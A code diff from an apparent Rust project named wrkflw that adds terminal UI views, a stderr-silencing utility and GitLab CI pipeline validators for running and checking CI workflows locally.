+    let header_cells = ["Time", "Type", "Message"]
+        .iter()
+        .map(|h| Cell::from(*h).style(Style::default().fg(Color::Yellow)));
+
+    let header = Row::new(header_cells)
+        .style(Style::default().add_modifier(Modifier::BOLD))
+        .height(1);
+
+    // Convert processed logs to table rows - this is now very fast since logs are pre-processed
+    let rows = filtered_logs
+        .iter()
+        .map(|processed_log| processed_log.to_row());
+
+    let content_idx = if show_search_bar { 2 } else { 1 };
+
+    let log_table = Table::new(rows)
+        .header(header)
+        .block(
+            Block::default()
+                .borders(Borders::ALL)
+                .border_type(BorderType::Rounded)
+                .title(Span::styled(
+                    format!(
+                        " Logs ({}/{}) ",
+                        if filtered_logs.is_empty() {
+                            0
+                        } else {
+                            app.log_scroll + 1
+                        },
+                        filtered_logs.len()
+                    ),
+                    Style::default().fg(Color::Yellow),
+                )),
+        )
+        .highlight_style(Style::default().bg(Color::DarkGray))
+        .widths(&[
+            Constraint::Length(10),     // Timestamp column
+            Constraint::Length(7),      // Log type column
+            Constraint::Percentage(80), // Message column
+        ]);
+
+    // We need to convert log_scroll index to a TableState
+    let mut log_table_state = TableState::default();
+
+    if !filtered_logs.is_empty() {
+        // If we have search matches, use the match index as the selected row
+        if !app.log_search_matches.is_empty() {
+            // Make sure we're within bounds
+            let _match_index = app
+                .log_search_match_idx
+                .min(app.log_search_matches.len() - 1);
+
+            // This would involve more complex logic to go from search matches to the filtered logs
+            // For simplicity in this placeholder, we'll just use the scroll position
+            log_table_state.select(Some(app.log_scroll.min(filtered_logs.len() - 1)));
+        } else {
+            // No search matches, use regular scroll position
+            log_table_state.select(Some(app.log_scroll.min(filtered_logs.len() - 1)));
+        }
+    }
+
+    f.render_stateful_widget(log_table, chunks[content_idx], &mut log_table_state);
+}

crates/ui/src/views/mod.rs

@@ -0,0 +1,57 @@
+// UI Views module
+mod execution_tab;
+mod help_overlay;
+mod job_detail;
+mod logs_tab;
+mod status_bar;
+mod title_bar;
+mod workflows_tab;
+
+use crate::app::App;
+use ratatui::{backend::CrosstermBackend, Frame};
+use std::io;
+
+// Main render function for the UI
+pub fn render_ui(f: &mut Frame<CrosstermBackend<io::Stdout>>, app: &mut App) {
+    // Check if help should be shown as an overlay
+    if app.show_help {
+        help_overlay::render_help_overlay(f, app.help_scroll);
+        return;
+    }
+
+    let size = f.size();
+
+    // Create main layout
+    let main_chunks = ratatui::layout::Layout::default()
+        .direction(ratatui::layout::Direction::Vertical)
+        .constraints(
+            [
+                ratatui::layout::Constraint::Length(3), // Title bar and tabs
+                ratatui::layout::Constraint::Min(5),    // Main content
+                ratatui::layout::Constraint::Length(2), // Status bar
+            ]
+            .as_ref(),
+        )
+        .split(size);
+
+    // Render title bar with tabs
+    title_bar::render_title_bar(f, app, main_chunks[0]);
+
+    // Render main content based on selected tab
+    match app.selected_tab {
+        0 => workflows_tab::render_workflows_tab(f, app, main_chunks[1]),
+        1 => {
+            if app.detailed_view {
+                job_detail::render_job_detail_view(f, app, main_chunks[1])
+            } else {
+                execution_tab::render_execution_tab(f, app, main_chunks[1])
+            }
+        }
+        2 => logs_tab::render_logs_tab(f, app, main_chunks[1]),
+        3 => help_overlay::render_help_content(f, main_chunks[1], app.help_scroll),
+        _ => {}
+    }
+
+    // Render status bar
+    status_bar::render_status_bar(f, app, main_chunks[2]);
+}

crates/ui/src/views/status_bar.rs

@@ -0,0 +1,212 @@
+// Status bar rendering
+use crate::app::App;
+use ratatui::{
+    backend::CrosstermBackend,
+    layout::{Alignment, Rect},
+    style::{Color, Style},
+    text::{Line, Span},
+    widgets::Paragraph,
+    Frame,
+};
+use std::io;
+use wrkflw_executor::RuntimeType;
+
+// Render the status bar
+pub fn render_status_bar(f: &mut Frame<CrosstermBackend<io::Stdout>>, app: &App, area: Rect) {
+    // If we have a status message, show it instead of the normal status bar
+    if let Some(message) = &app.status_message {
+        // Determine if this is a success message (starts with ✅)
+        let is_success = message.starts_with("✅");
+
+        let status_message = Paragraph::new(Line::from(vec![Span::styled(
+            format!(" {} ", message),
+            Style::default()
+                .bg(if is_success { Color::Green } else { Color::Red })
+                .fg(Color::White)
+                .add_modifier(ratatui::style::Modifier::BOLD),
+        )]))
+        .alignment(Alignment::Center);
+
+        f.render_widget(status_message, area);
+        return;
+    }
+
+    // Normal status bar
+    let mut status_items = vec![];
+
+    // Add mode info
+    status_items.push(Span::styled(
+        format!(" {} ", app.runtime_type_name()),
+        Style::default()
+            .bg(match app.runtime_type {
+                RuntimeType::Docker => Color::Blue,
+                RuntimeType::Podman => Color::Cyan,
+                RuntimeType::SecureEmulation => Color::Green,
+                RuntimeType::Emulation => Color::Red,
+            })
+            .fg(Color::White),
+    ));
+
+    // Add container runtime status if relevant
+    match app.runtime_type {
+        RuntimeType::Docker => {
+            // Check Docker silently using safe FD redirection
+            let is_docker_available = match wrkflw_utils::fd::with_stderr_to_null(
+                wrkflw_executor::docker::is_available,
+            ) {
+                Ok(result) => result,
+                Err(_) => {
+                    wrkflw_logging::debug(
+                        "Failed to redirect stderr when checking Docker availability.",
+                    );
+                    false
+                }
+            };
+
+            status_items.push(Span::raw(" "));
+            status_items.push(Span::styled(
+                if is_docker_available {
+                    " Docker: Connected "
+                } else {
+                    " Docker: Not Available "
+                },
+                Style::default()
+                    .bg(if is_docker_available {
+                        Color::Green
+                    } else {
+                        Color::Red
+                    })
+                    .fg(Color::White),
+            ));
+        }
+        RuntimeType::Podman => {
+            // Check Podman silently using safe FD redirection
+            let is_podman_available = match wrkflw_utils::fd::with_stderr_to_null(
+                wrkflw_executor::podman::is_available,
+            ) {
+                Ok(result) => result,
+                Err(_) => {
+                    wrkflw_logging::debug(
+                        "Failed to redirect stderr when checking Podman availability.",
+                    );
+                    false
+                }
+            };
+
+            status_items.push(Span::raw(" "));
+            status_items.push(Span::styled(
+                if is_podman_available {
+                    " Podman: Connected "
+                } else {
+                    " Podman: Not Available "
+                },
+                Style::default()
+                    .bg(if is_podman_available {
+                        Color::Green
+                    } else {
+                        Color::Red
+                    })
+                    .fg(Color::White),
+            ));
+        }
+        RuntimeType::SecureEmulation => {
+            status_items.push(Span::styled(
+                " 🔒SECURE ",
+                Style::default().bg(Color::Green).fg(Color::White),
+            ));
+        }
+        RuntimeType::Emulation => {
+            // No need to check anything for emulation mode
+        }
+    }
+
+    // Add validation/execution mode
+    status_items.push(Span::raw(" "));
+    status_items.push(Span::styled(
+        format!(
+            " {} ",
+            if app.validation_mode {
+                "Validation"
+            } else {
+                "Execution"
+            }
+        ),
+        Style::default()
+            .bg(if app.validation_mode {
+                Color::Yellow
+            } else {
+                Color::Green
+            })
+            .fg(Color::Black),
+    ));
+
+    // Add context-specific help based on current tab
+    status_items.push(Span::raw(" "));
+    let help_text = match app.selected_tab {
+        0 => {
+            if let Some(idx) = app.workflow_list_state.selected() {
+                if idx < app.workflows.len() {
+                    let workflow = &app.workflows[idx];
+                    match workflow.status {
+                        crate::models::WorkflowStatus::NotStarted => "[Space] Toggle selection   [Enter] Run selected   [r] Run all selected   [t] Trigger Workflow  [Shift+R] Reset workflow",
+                        crate::models::WorkflowStatus::Running => "[Space] Toggle selection   [Enter] Run selected   [r] Run all selected   (Workflow running...)",
+                        crate::models::WorkflowStatus::Success | crate::models::WorkflowStatus::Failed | crate::models::WorkflowStatus::Skipped => "[Space] Toggle selection   [Enter] Run selected   [r] Run all selected   [Shift+R] Reset workflow",
+                    }
+                } else {
+                    "[Space] Toggle selection   [Enter] Run selected   [r] Run all selected"
+                }
+            } else {
+                "[Space] Toggle selection   [Enter] Run selected   [r] Run all selected"
+            }
+        }
+        1 => {
+            if app.detailed_view {
+                "[Esc] Back to jobs   [↑/↓] Navigate steps"
+            } else {
+                "[Enter] View details   [↑/↓] Navigate jobs"
+            }
+        }
+        2 => {
+            // For logs tab, show scrolling instructions
+            let log_count = app.logs.len() + wrkflw_logging::get_logs().len();
+            if log_count > 0 {
+                // Convert to a static string for consistent return type
+                let scroll_text = format!(
+                    "[↑/↓] Scroll logs ({}/{}) [s] Search [f] Filter",
+                    app.log_scroll + 1,
+                    log_count
+                );
+                Box::leak(scroll_text.into_boxed_str())
+            } else {
+                "[No logs to display]"
+            }
+        }
+        3 => "[↑/↓] Scroll help   [?] Toggle help overlay",
+        _ => "",
+    };
+    status_items.push(Span::styled(
+        format!(" {} ", help_text),
+        Style::default().fg(Color::White),
+    ));
+
+    // Show keybindings for common actions
+    status_items.push(Span::raw(" "));
+    status_items.push(Span::styled(
+        " [Tab] Switch tabs ",
+        Style::default().fg(Color::White),
+    ));
+    status_items.push(Span::styled(
+        " [?] Help ",
+        Style::default().fg(Color::White),
+    ));
+    status_items.push(Span::styled(
+        " [q] Quit ",
+        Style::default().fg(Color::White),
+    ));
+
+    let status_bar = Paragraph::new(Line::from(status_items))
+        .style(Style::default().bg(Color::DarkGray))
+        .alignment(Alignment::Left);
+
+    f.render_widget(status_bar, area);
+}

crates/ui/src/views/title_bar.rs

@@ -0,0 +1,74 @@
+// Title bar rendering
+use crate::app::App;
+use ratatui::{
+    backend::CrosstermBackend,
+    layout::{Alignment, Rect},
+    style::{Color, Modifier, Style},
+    text::{Line, Span},
+    widgets::{Block, BorderType, Borders, Tabs},
+    Frame,
+};
+use std::io;
+
+// Render the title bar with tabs
+pub fn render_title_bar(f: &mut Frame<CrosstermBackend<io::Stdout>>, app: &App, area: Rect) {
+    let titles = ["Workflows", "Execution", "Logs", "Help"];
+    let tabs = Tabs::new(
+        titles
+            .iter()
+            .enumerate()
+            .map(|(i, t)| {
+                if i == 1 {
+                    // Special case for "Execution"
+                    let e_part = &t[0..1]; // "E"
+                    let x_part = &t[1..2]; // "x"
+                    let rest = &t[2..]; // "ecution"
+                    Line::from(vec![
+                        Span::styled(e_part, Style::default().fg(Color::White)),
+                        Span::styled(
+                            x_part,
+                            Style::default()
+                                .fg(Color::Yellow)
+                                .add_modifier(Modifier::UNDERLINED),
+                        ),
+                        Span::styled(rest, Style::default().fg(Color::White)),
+                    ])
+                } else {
+                    // Original styling for other tabs
+                    let (first, rest) = t.split_at(1);
+                    Line::from(vec![
+                        Span::styled(
+                            first,
+                            Style::default()
+                                .fg(Color::Yellow)
+                                .add_modifier(Modifier::UNDERLINED),
+                        ),
+                        Span::styled(rest, Style::default().fg(Color::White)),
+                    ])
+                }
+            })
+            .collect(),
+    )
+    .block(
+        Block::default()
+            .borders(Borders::ALL)
+            .border_type(BorderType::Rounded)
+            .title(Span::styled(
+                " wrkflw ",
+                Style::default()
+                    .fg(Color::Cyan)
+                    .add_modifier(Modifier::BOLD),
+            ))
+            .title_alignment(Alignment::Center),
+    )
+    .highlight_style(
+        Style::default()
+            .bg(Color::DarkGray)
+            .fg(Color::Yellow)
+            .add_modifier(Modifier::BOLD),
+    )
+    .select(app.selected_tab)
+    .divider(Span::raw("|"));
+
+    f.render_widget(tabs, area);
+}

crates/ui/src/views/workflows_tab.rs

@@ -0,0 +1,131 @@
+// Workflows tab rendering
+use crate::app::App;
+use crate::models::WorkflowStatus;
+use ratatui::{
+    backend::CrosstermBackend,
+    layout::{Alignment, Constraint, Direction, Layout, Rect},
+    style::{Color, Modifier, Style},
+    text::{Line, Span},
+    widgets::{Block, BorderType, Borders, Cell, Paragraph, Row, Table, TableState},
+    Frame,
+};
+use std::io;
+
+// Render the workflow list tab
+pub fn render_workflows_tab(
+    f: &mut Frame<CrosstermBackend<io::Stdout>>,
+    app: &mut App,
+    area: Rect,
+) {
+    // Create a more structured layout for the workflow tab
+    let chunks = Layout::default()
+        .direction(Direction::Vertical)
+        .constraints(
+            [
+                Constraint::Length(3), // Header with instructions
+                Constraint::Min(5),    // Workflow list
+            ]
+            .as_ref(),
+        )
+        .margin(1)
+        .split(area);
+
+    // Render header with instructions
+    let header_text = vec![
+        Line::from(vec![Span::styled(
+            "Available Workflows",
+            Style::default()
+                .fg(Color::Yellow)
+                .add_modifier(Modifier::BOLD),
+        )]),
+        Line::from(vec![
+            Span::styled("Space", Style::default().fg(Color::Cyan)),
+            Span::raw(": Toggle selection   "),
+            Span::styled("Enter", Style::default().fg(Color::Cyan)),
+            Span::raw(": Run   "),
+            Span::styled("t", Style::default().fg(Color::Cyan)),
+            Span::raw(": Trigger remotely"),
+        ]),
+    ];
+
+    let header = Paragraph::new(header_text)
+        .block(
+            Block::default()
+                .borders(Borders::ALL)
+                .border_type(BorderType::Rounded),
+        )
+        .alignment(Alignment::Center);
+
+    f.render_widget(header, chunks[0]);
+
+    // Create a table for workflows instead of a list for better organization
+    let selected_style = Style::default()
+        .bg(Color::DarkGray)
+        .add_modifier(Modifier::BOLD);
+
+    // Normal style definition removed as it was unused
+
+    let header_cells = ["", "Status", "Workflow Name", "Path"]
+        .iter()
+        .map(|h| Cell::from(*h).style(Style::default().fg(Color::Yellow)));
+
+    let header = Row::new(header_cells)
+        .style(Style::default().add_modifier(Modifier::BOLD))
+        .height(1);
+
+    let rows = app.workflows.iter().map(|workflow| {
+        // Create cells for each column
+        let checkbox = if workflow.selected { "✓" } else { " " };
+
+        let (status_symbol, status_style) = match workflow.status {
+            WorkflowStatus::NotStarted => ("○", Style::default().fg(Color::Gray)),
+            WorkflowStatus::Running => ("⟳", Style::default().fg(Color::Cyan)),
+            WorkflowStatus::Success => ("✅", Style::default().fg(Color::Green)),
+            WorkflowStatus::Failed => ("❌", Style::default().fg(Color::Red)),
+            WorkflowStatus::Skipped => ("⏭", Style::default().fg(Color::Yellow)),
+        };
+
+        let path_display = workflow.path.to_string_lossy();
+        let path_shortened = if path_display.len() > 30 {
+            format!("...{}", &path_display[path_display.len() - 30..])
+        } else {
+            path_display.to_string()
+        };
+
+        Row::new(vec![
+            Cell::from(checkbox).style(Style::default().fg(Color::Green)),
+            Cell::from(status_symbol).style(status_style),
+            Cell::from(workflow.name.clone()),
+            Cell::from(path_shortened).style(Style::default().fg(Color::DarkGray)),
+        ])
+    });
+
+    let workflows_table = Table::new(rows)
+        .header(header)
+        .block(
+            Block::default()
+                .borders(Borders::ALL)
+                .border_type(BorderType::Rounded)
+                .title(Span::styled(
+                    " Workflows ",
+                    Style::default().fg(Color::Yellow),
+                )),
+        )
+        .highlight_style(selected_style)
+        .highlight_symbol("» ")
+        .widths(&[
+            Constraint::Length(3),      // Checkbox column
+            Constraint::Length(4),      // Status icon column
+            Constraint::Percentage(45), // Name column
+            Constraint::Percentage(45), // Path column
+        ]);
+
+    // We need to convert ListState to TableState
+    let mut table_state = TableState::default();
+    table_state.select(app.workflow_list_state.selected());
+
+    f.render_stateful_widget(workflows_table, chunks[1], &mut table_state);
+
+    // Update the app list state to match the table state
+    app.workflow_list_state.select(table_state.selected());
+}

crates/utils/Cargo.toml

@@ -0,0 +1,22 @@
+[package]
+name = "wrkflw-utils"
+version = "0.7.3"
+edition.workspace = true
+description = "Utility functions for wrkflw workflow execution engine"
+license.workspace = true
+documentation.workspace = true
+homepage.workspace = true
+repository.workspace = true
+keywords.workspace = true
+categories.workspace = true
+
+[dependencies]
+# Internal crates
+wrkflw-models.workspace = true
+
+# External dependencies
+serde.workspace = true
+serde_yaml.workspace = true
+
+[target.'cfg(unix)'.dependencies]
+nix.workspace = true

crates/utils/README.md

@@ -0,0 +1,21 @@
+## wrkflw-utils
+
+Shared helpers used across crates.
+
+- Workflow file detection (`.github/workflows/*.yml`, `.gitlab-ci.yml`)
+- File-descriptor redirection utilities for silencing noisy subprocess output (Unix only; Windows support is limited)
+
+### Example
+
+```rust
+use std::path::Path;
+use wrkflw_utils::{is_workflow_file, fd::with_stderr_to_null};
+
+assert!(is_workflow_file(Path::new(".github/workflows/ci.yml")));
+
+let value = with_stderr_to_null(|| {
+    eprintln!("this is hidden on Unix, visible on Windows");
+    42
+}).unwrap();
+assert_eq!(value, 42);
+```

crates/utils/src/lib.rs

@@ -0,0 +1,199 @@
+// utils crate
+
+use std::path::Path;
+
+pub fn is_workflow_file(path: &Path) -> bool {
+    // First, check for GitLab CI files by name
+    if let Some(file_name) = path.file_name() {
+        let file_name_str = file_name.to_string_lossy().to_lowercase();
+        if file_name_str == ".gitlab-ci.yml" || file_name_str.ends_with("gitlab-ci.yml") {
+            return true;
+        }
+    }
+
+    // Then check for GitHub Actions workflows
+    if let Some(ext) = path.extension() {
+        if ext == "yml" || ext == "yaml" {
+            // Check if the file is in a .github/workflows directory
+            if let Some(parent) = path.parent() {
+                return parent.ends_with(".github/workflows") || parent.ends_with("workflows");
+            } else {
+                // Check if filename contains workflow indicators
+                let filename = path
+                    .file_name()
+                    .map(|f| f.to_string_lossy().to_lowercase())
+                    .unwrap_or_default();
+
+                return filename.contains("workflow")
+                    || filename.contains("action")
+                    || filename.contains("ci")
+                    || filename.contains("cd");
+            }
+        }
+    }
+    false
+}
+
+/// Module for safely handling file descriptor redirection
+///
+/// On Unix systems (Linux, macOS), this module provides true file descriptor
+/// redirection by duplicating stderr and redirecting it to /dev/null.
+///
+/// On Windows systems, the redirection functionality is limited due to platform
+/// differences in file descriptor handling. The functions will execute without
+/// error but stderr may not be fully suppressed.
+pub mod fd {
+    use std::io::Result;
+
+    /// Represents a redirected stderr that can be restored
+    pub struct RedirectedStderr {
+        #[cfg(unix)]
+        original_fd: Option<std::os::unix::io::RawFd>,
+        #[cfg(unix)]
+        null_fd: Option<std::os::unix::io::RawFd>,
+        #[cfg(windows)]
+        _phantom: std::marker::PhantomData<()>,
+    }
+
+    #[cfg(unix)]
+    mod unix_impl {
+        use super::*;
+        use nix::fcntl::{open, OFlag};
+        use nix::sys::stat::Mode;
+        use nix::unistd::{close, dup, dup2};
+        use std::io;
+        use std::os::unix::io::RawFd;
+        use std::path::Path;
+
+        /// Standard file descriptors
+        const STDERR_FILENO: RawFd = 2;
+
+        impl RedirectedStderr {
+            /// Creates a new RedirectedStderr that redirects stderr to /dev/null
+            pub fn to_null() -> Result<Self> {
+                // Duplicate the current stderr fd
+                let stderr_backup = match dup(STDERR_FILENO) {
+                    Ok(fd) => fd,
+                    Err(e) => return Err(io::Error::other(e)),
+                };
+
+                // Open /dev/null
+                let null_fd = match open(Path::new("/dev/null"), OFlag::O_WRONLY, Mode::empty()) {
+                    Ok(fd) => fd,
+                    Err(e) => {
+                        let _ = close(stderr_backup); // Clean up on error
+                        return Err(io::Error::other(e));
+                    }
+                };
+
+                // Redirect stderr to /dev/null
+                if let Err(e) = dup2(null_fd, STDERR_FILENO) {
+                    let _ = close(stderr_backup); // Clean up on error
+                    let _ = close(null_fd);
+                    return Err(io::Error::other(e));
+                }
+
+                Ok(RedirectedStderr {
+                    original_fd: Some(stderr_backup),
+                    null_fd: Some(null_fd),
+                })
+            }
+        }
+
+        impl Drop for RedirectedStderr {
+            /// Automatically restores stderr when the RedirectedStderr is dropped
+            fn drop(&mut self) {
+                if let Some(orig_fd) = self.original_fd.take() {
+                    // Restore the original stderr
+                    let _ = dup2(orig_fd, STDERR_FILENO);
+                    let _ = close(orig_fd);
+                }
+
+                // Close the null fd
+                if let Some(null_fd) = self.null_fd.take() {
+                    let _ = close(null_fd);
+                }
+            }
+        }
+    }
+
+    #[cfg(windows)]
+    mod windows_impl {
+        use super::*;
+
+        impl RedirectedStderr {
+            /// Creates a new RedirectedStderr that redirects stderr to NUL on Windows
+            pub fn to_null() -> Result<Self> {
+                // On Windows, we can't easily redirect stderr at the file descriptor level
+                // like we can on Unix systems. This is a simplified implementation that
+                // doesn't actually redirect but provides the same interface.
+                // The actual stderr suppression will need to be handled differently on Windows.
+                Ok(RedirectedStderr {
+                    _phantom: std::marker::PhantomData,
+                })
+            }
+        }
+
+        impl Drop for RedirectedStderr {
+            /// No-op drop implementation for Windows
+            fn drop(&mut self) {
+                // Nothing to restore on Windows in this simplified implementation
+            }
+        }
+    }
+
+    /// Run a function with stderr redirected to /dev/null (Unix) or suppressed (Windows), then restore stderr
+    ///
+    /// # Platform Support
+    /// - **Unix (Linux, macOS)**: Fully supported - stderr is redirected to /dev/null
+    /// - **Windows**: Limited support - function executes but stderr may be visible
+    ///
+    /// # Example
+    /// ```
+    /// use wrkflw_utils::fd::with_stderr_to_null;
+    ///
+    /// let result = with_stderr_to_null(|| {
+    ///     eprintln!("This will be hidden on Unix");
+    ///     42
+    /// }).unwrap();
+    /// assert_eq!(result, 42);
+    /// ```
+    pub fn with_stderr_to_null<F, T>(f: F) -> Result<T>
+    where
+        F: FnOnce() -> T,
+    {
+        #[cfg(unix)]
+        {
+            let _redirected = RedirectedStderr::to_null()?;
+            Ok(f())
+        }
+        #[cfg(windows)]
+        {
+            // On Windows, we can't easily redirect stderr at the FD level,
+            // so we just run the function without redirection.
+            // This means stderr won't be suppressed on Windows, but the function will work.
+            Ok(f())
+        }
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_fd_redirection() {
+        // This test will write to stderr, which should be redirected on Unix
+        // On Windows, it will just run normally without redirection
+        let result = fd::with_stderr_to_null(|| {
+            // This would normally appear in stderr (suppressed on Unix, visible on Windows)
+            eprintln!("This should be redirected to /dev/null on Unix");
+            // Return a test value to verify the function passes through the result
+            42
+        });
+
+        // The function should succeed and return our test value on both platforms
+        assert!(result.is_ok());
+        assert_eq!(result.unwrap(), 42);
+    }
+}

crates/validators/Cargo.toml

@@ -0,0 +1,20 @@
+[package]
+name = "wrkflw-validators"
+version = "0.7.3"
+edition.workspace = true
+description = "Workflow validation functionality for wrkflw execution engine"
+license.workspace = true
+documentation.workspace = true
+homepage.workspace = true
+repository.workspace = true
+keywords.workspace = true
+categories.workspace = true
+
+[dependencies]
+# Internal crates
+wrkflw-models.workspace = true
+wrkflw-matrix.workspace = true
+
+# External dependencies
+serde.workspace = true
+serde_yaml.workspace = true

crates/validators/README.md

@@ -0,0 +1,29 @@
+## wrkflw-validators
+
+Validation utilities for workflows and steps.
+
+- Validates GitHub Actions sections: jobs, steps, actions references, triggers
+- GitLab pipeline validation helpers
+- Matrix-specific validation
+
+### Example
+
+```rust
+use serde_yaml::Value;
+use wrkflw_models::ValidationResult;
+use wrkflw_validators::{validate_jobs, validate_triggers};
+
+let yaml: Value = serde_yaml::from_str(r#"name: demo
+on: [workflow_dispatch]
+jobs: { build: { runs-on: ubuntu-latest, steps: [] } }
+"#).unwrap();
+
+let mut res = ValidationResult::new();
+if let Some(on) = yaml.get("on") {
+    validate_triggers(on, &mut res);
+}
+if let Some(jobs) = yaml.get("jobs") {
+    validate_jobs(jobs, &mut res);
+}
+assert!(res.is_valid);
+```

crates/validators/src/actions.rs

@@ -1,4 +1,4 @@
-use crate::models::ValidationResult;
+use wrkflw_models::ValidationResult;
 
 pub fn validate_action_reference(
     action_ref: &str,

crates/validators/src/gitlab.rs

@@ -0,0 +1,234 @@
+use std::collections::HashMap;
+use wrkflw_models::gitlab::{Job, Pipeline};
+use wrkflw_models::ValidationResult;
+
+/// Validate a GitLab CI/CD pipeline
+pub fn validate_gitlab_pipeline(pipeline: &Pipeline) -> ValidationResult {
+    let mut result = ValidationResult::new();
+
+    // Basic structure validation
+    if pipeline.jobs.is_empty() {
+        result.add_issue("Pipeline must contain at least one job".to_string());
+    }
+
+    // Validate jobs
+    validate_jobs(&pipeline.jobs, &mut result);
+
+    // Validate stages if defined
+    if let Some(stages) = &pipeline.stages {
+        validate_stages(stages, &pipeline.jobs, &mut result);
+    }
+
+    // Validate dependencies
+    validate_dependencies(&pipeline.jobs, &mut result);
+
+    // Validate extends
+    validate_extends(&pipeline.jobs, &mut result);
+
+    // Validate artifacts
+    validate_artifacts(&pipeline.jobs, &mut result);
+
+    result
+}
+
+/// Validate GitLab CI/CD jobs
+fn validate_jobs(jobs: &HashMap<String, Job>, result: &mut ValidationResult) {
+    for (job_name, job) in jobs {
+        // Skip template jobs
+        if let Some(true) = job.template {
+            continue;
+        }
+
+        // Check for script or extends
+        if job.script.is_none() && job.extends.is_none() {
+            result.add_issue(format!(
+                "Job '{}' must have a script section or extend another job",
+                job_name
+            ));
+        }
+
+        // Check when value if present
+        if let Some(when) = &job.when {
+            match when.as_str() {
+                "on_success" | "on_failure" | "always" | "manual" | "never" => {
+                    // Valid when value
+                }
+                _ => {
+                    result.add_issue(format!(
+                        "Job '{}' has invalid 'when' value: '{}'. Valid values are: on_success, on_failure, always, manual, never",
+                        job_name, when
+                    ));
+                }
+            }
+        }
+
+        // Check retry configuration
+        if let Some(retry) = &job.retry {
+            match retry {
+                wrkflw_models::gitlab::Retry::MaxAttempts(attempts) => {
+                    if *attempts > 10 {
+                        result.add_issue(format!(
+                            "Job '{}' has excessive retry count: {}. Consider reducing to avoid resource waste",
+                            job_name, attempts
+                        ));
+                    }
+                }
+                wrkflw_models::gitlab::Retry::Detailed { max, when: _ } => {
+                    if *max > 10 {
+                        result.add_issue(format!(
+                            "Job '{}' has excessive retry count: {}. Consider reducing to avoid resource waste",
+                            job_name, max
+                        ));
+                    }
+                }
+            }
+        }
+    }
+}
+
+/// Validate GitLab CI/CD stages
+fn validate_stages(stages: &[String], jobs: &HashMap<String, Job>, result: &mut ValidationResult) {
+    // Check that all jobs reference existing stages
+    for (job_name, job) in jobs {
+        if let Some(stage) = &job.stage {
+            if !stages.contains(stage) {
+                result.add_issue(format!(
+                    "Job '{}' references undefined stage '{}'. Available stages are: {}",
+                    job_name,
+                    stage,
+                    stages.join(", ")
+                ));
+            }
+        }
+    }
+
+    // Check for unused stages
+    for stage in stages {
+        let used = jobs.values().any(|job| {
+            if let Some(job_stage) = &job.stage {
+                job_stage == stage
+            } else {
+                false
+            }
+        });
+
+        if !used {
+            result.add_issue(format!(
+                "Stage '{}' is defined but not used by any job",
+                stage
+            ));
+        }
+    }
+}
+
+/// Validate GitLab CI/CD job dependencies
+fn validate_dependencies(jobs: &HashMap<String, Job>, result: &mut ValidationResult) {
+    for (job_name, job) in jobs {
+        if let Some(dependencies) = &job.dependencies {
+            for dependency in dependencies {
+                if !jobs.contains_key(dependency) {
+                    result.add_issue(format!(
+                        "Job '{}' depends on undefined job '{}'",
+                        job_name, dependency
+                    ));
+                } else if job_name == dependency {
+                    result.add_issue(format!("Job '{}' cannot depend on itself", job_name));
+                }
+            }
+        }
+    }
+}
+
+/// Validate GitLab CI/CD job extends
+fn validate_extends(jobs: &HashMap<String, Job>, result: &mut ValidationResult) {
+    // Check for circular extends
+    for (job_name, job) in jobs {
+        if let Some(extends) = &job.extends {
+            // Check that all extended jobs exist
+            for extend in extends {
+                if !jobs.contains_key(extend) {
+                    result.add_issue(format!(
+                        "Job '{}' extends undefined job '{}'",
+                        job_name, extend
+                    ));
+                    continue;
+                }
+
+                // Check for circular extends
+                let mut visited = vec![job_name.clone()];
+                check_circular_extends(extend, jobs, &mut visited, result);
+            }
+        }
+    }
+}
+
+/// Helper function to detect circular extends
+fn check_circular_extends(
+    job_name: &str,
+    jobs: &HashMap<String, Job>,
+    visited: &mut Vec<String>,
+    result: &mut ValidationResult,
+) {
+    visited.push(job_name.to_string());
+
+    if let Some(job) = jobs.get(job_name) {
+        if let Some(extends) = &job.extends {
+            for extend in extends {
+                if visited.contains(&extend.to_string()) {
+                    // Circular dependency detected
+                    let cycle = visited
+                        .iter()
+                        .skip(visited.iter().position(|x| x == extend).unwrap())
+                        .chain(std::iter::once(extend))
+                        .cloned()
+                        .collect::<Vec<_>>()
+                        .join(" -> ");
+
+                    result.add_issue(format!("Circular extends detected: {}", cycle));
+                    return;
+                }
+
+                check_circular_extends(extend, jobs, visited, result);
+            }
+        }
+    }
+
+    visited.pop();
+}
+
+/// Validate GitLab CI/CD job artifacts
+fn validate_artifacts(jobs: &HashMap<String, Job>, result: &mut ValidationResult) {
+    for (job_name, job) in jobs {
+        if let Some(artifacts) = &job.artifacts {
+            // Check that paths are specified
+            if let Some(paths) = &artifacts.paths {
+                if paths.is_empty() {
+                    result.add_issue(format!(
+                        "Job '{}' has artifacts section with empty paths",
+                        job_name
+                    ));
+                }
+            } else {
+                result.add_issue(format!(
+                    "Job '{}' has artifacts section without specifying paths",
+                    job_name
+                ));
+            }
+
+            // Check for valid 'when' value if present
+            if let Some(when) = &artifacts.when {
+                match when.as_str() {
+                    "on_success" | "on_failure" | "always" => {
+                        // Valid when value
+                    }
+                    _ => {
+                        result.add_issue(format!(
+                            "Job '{}' has artifacts with invalid 'when' value: '{}'. Valid values are: on_success, on_failure, always",
+                            job_name, when
+                        ));
+                    }
+                }
+            }
+        }
+    }
+}